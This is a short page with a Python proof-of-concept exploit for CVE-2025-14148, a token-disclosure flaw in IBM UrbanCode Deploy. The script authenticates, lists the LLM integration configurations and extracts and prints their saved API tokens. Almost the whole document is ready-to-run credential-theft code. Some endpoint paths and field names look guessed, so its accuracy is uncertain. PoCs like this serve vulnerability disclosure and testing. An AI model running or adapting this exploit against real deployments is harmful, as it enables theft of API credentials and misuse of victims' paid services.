CVE-2025-14148 IBM UCD LLM API Token信息泄露漏洞

import requests import json # CVE-2025-14148 PoC - IBM UCD LLM API Token Recovery # Target: IBM UrbanCode Deploy / DevOps Deploy 8.1 - 8.1.2.3 TARGET_URL = "https://target-ibm-ucd.example.com" USERNAME = "attacker_user" PASSWORD = "password123" def exploit_llm_token_disclosure(): """ This PoC demonstrates how an authenticated user with LLM integration configuration privileges can recover previously saved LLM API Tokens. """ session = requests.Session() # Step 1: Authenticate to IBM UCD login_url = f"{TARGET_URL}/rest/security/authentication" login_data = { "userName": USERNAME, "password": PASSWORD } response = session.post(login_url, json=login_data, verify=False) if response.status_code != 200: print("[-] Authentication failed") return None print("[+] Authentication successful") # Step 2: Enumerate LLM integration configurations # Requires LLM integration configuration privileges llm_config_url = f"{TARGET_URL}/rest/integrations/llm/configurations" response = session.get(llm_config_url, verify=False) if response.status_code == 200: configs = response.json() print(f"[+] Found {len(configs)} LLM configurations") # Step 3: Extract API Tokens from configurations for config in configs: config_id = config.get("id") config_name = config.get("name") # Get detailed configuration including API Token detail_url = f"{TARGET_URL}/rest/integrations/llm/configurations/{config_id}" detail_response = session.get(detail_url, verify=False) if detail_response.status_code == 200: details = detail_response.json() api_token = details.get("apiToken") or details.get("api_key") if api_token: print(f"[*] Configuration: {config_name}") print(f"[*] API Token: {api_token}") return api_token print("[-] No LLM API Tokens found or access denied") return None if __name__ == "__main__": print("CVE-2025-14148 PoC - IBM UCD LLM Token Disclosure") print("=" * 50) token = exploit_llm_token_disclosure() if token: print(f"\n[+] Successfully recovered LLM API Token: {token}")